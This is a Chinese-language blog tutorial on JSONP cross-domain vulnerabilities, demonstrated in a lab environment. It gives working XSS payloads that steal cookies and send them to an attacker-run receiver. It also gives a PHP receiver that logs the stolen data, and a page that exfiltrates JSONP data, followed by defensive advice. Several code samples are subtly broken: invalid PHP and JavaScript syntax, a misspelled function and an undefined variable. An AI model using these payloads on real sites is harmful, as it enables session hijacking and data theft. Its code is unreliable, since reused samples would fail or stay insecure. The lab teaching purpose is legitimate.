JSONP跨域访问漏洞

发布于:2025-04-03 ⋅ 阅读:(18) ⋅ 点赞:(0)

一、漏洞一:利用回调GetCookie

<?php

$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,creattime from learn3 where articleid < 5";
$result = $conn->query($sql);

//输出JSON数据到页面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback'] . "(" . $json . ")";

$conn->close();

?>
<!-- JSONP回调实现跨域 -->
    <script>
        function test(args) {
            alert(JSON.stringify(args));
        }
    </script>
    <script src="http://10.211.55.16/list-json.php?callback=test"></script>

当在list-json.html页面中,直接构造以下Payload,则会导致弹窗

<script src="http://192.168.112.183/list-json.php?callback=alert(1);//"></script>

如果payload是这样的话,也会给我们进行弹窗,说明存在XSS漏洞

<script src="http://192.168.112.183/list-json.php?callback=alert('Hello');//"></script>

 

基于这个XSS漏洞,我们就可以去利用这个漏洞

我们可以试着去让它弹出当前页面的Cookie,成功弹出Cookie

<script src="http://192.168.112.183/list-json.php?callback=alert(document.cookie);//"></script>

我们也可以让它做一个登录,成功登录

然后我们再通过XSS漏洞将Sesssion ID弹出来,说明它并没有对当前的Cookie设置http-only的属性,让我们的JavaScript是可以读取到的

接下来呢,我们想办法把这个页面发送给登录的用户,让用户去点击

那么,在弹窗位置,则可以实现利用,比如发送当前页面的Cookie到183的xssrecv.php页面上,Payload如下:

<script src="http://192.168.112.183/list-ison.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

 经过http://192.168.112.183/security/list-json.html访问上述页面,即可完成Get Cookie,只要通过XSS漏洞将包含上述Payload的HTML页面连接交给用户访问到,或者引诱登录用户点击,则可以直接获取用户Cookie等数据

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];

$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们打开数据库,去看看xssdata那张表,看看能不能增加一条记录

 然后我们去运行,发现已经跳转到蜗牛笔记了

然后看见多了一条数据

对于其防护措施,首先我们应该限制callback的长度

在list-json.php中增加一条判断语句

if (strlen($_GET['callback']) > 10) {
    die("too long");
}

我们通过Fidder进行监听一下,响应告诉我们"too long"

当然,我们可以设置白名单,限制回调的函数名,代码如下:

$white_list = array('test','jsonp','handle','doedit');
if !in_array($_GET['callback'],$white_list) {
    die("wrong_value");
}

综上所述,需要对回调函数的名称进行严格的限制,比如限制其长度,查询其关键词,或者使用白名单

二、漏洞二:利用CSRF获取数据

当发现某个站点存在JSONP跨域漏洞之后,则只需要构造一个链接,让被攻击者在登录状态下点击,然后在188服务器上的list-json.html页面中的alert()的位置将获取到的数据发送给攻击服务器即可

在DoraBox靶场环境中存在这样一行代码:

$callback = htmlspecialchars($_GET['callback']);

上述代码将跨域网站提交过去的callback的内容进行了转义,杜绝了XSS获取Cookie的漏洞。但是该页面依然存在JSONP漏洞,在攻击服务器192.168.112.183上添加jsonouse.html页面,访问正常服务器192.168.112.188上的Dorabox的JSONP漏洞页面,代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>跨页面查看JSON数据</title>
    <script>
        function test(args) {
            location.href="http://192.168.112.183/jsonprecv.php?value="+JSON.stringify(args)+"&referer="document.referer;
        }
    </script>
  
    <script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script>
    

</head>
<body>
    Good Boy
</body>
</html>

同时,在183攻击服务器上增加jsonprecv.php页面,内容如下:

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];

$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charest("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);

echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们去访问192.168.112.183/jsonpuser.html,然后跳转到了蜗牛笔记那儿

 然后去数据库看看有没有新增的数据

此时,在188的Dorabox服务器中,利用XSS漏洞生成一个连接到183攻击服务器的"http://192.168.112.183/jsonpuse.html"页面,完成数据泄露攻击。(或者直接让用户点击也可以)

DoraBox的存储型比较有意思,直接在stored_xss.php的当前页面的源代码里面写入存储数据,所以要将此文件设置为可写权限

我们修改list-json.php的代码,如下所示,加一个while(1)

当我们去访问的时候,发现已经没反应了,因为while(1)一直在做死循环,这也是一个很好的防御方式

三、JSON攻击防御方案

产生JSONP攻击的核心在于没有对调用方进行校验

(1)前后端约定jsonp请求的js的回调函数名,不能自己定义回调名称

(2)严格安全的实现CSRF方式调用JSON文件:限制Referer、部署一次性Token或其他Token验证等

(3)严格按照JSON格式标准输出Content-Type及编码(Content-Type:application/json;charset=utf8),避免被XSS利用。可以在PHP源代码中添加header("content-type:application/json");即可。

(4)严格过滤callback函数名及JSON里数据的输出

(5)严格限制对JSONP输出callback函数名的长度和内容

(6)其他一些比较"猥琐"的方法:如在Callback输出之前加入其他字符(如:/**/、回车换行)这样不影响JSON文件加载,又能一定程度预防其他文件格式的输出。还比如Gmall早期使用AJAX的方式获取JSON,听过在输出JSON之前加入while(1);这样的代码来防止JS远程调用。(可以试试,上面就是这个的例子)


网站公告

今日签到

点亮在社区的每一天
去签到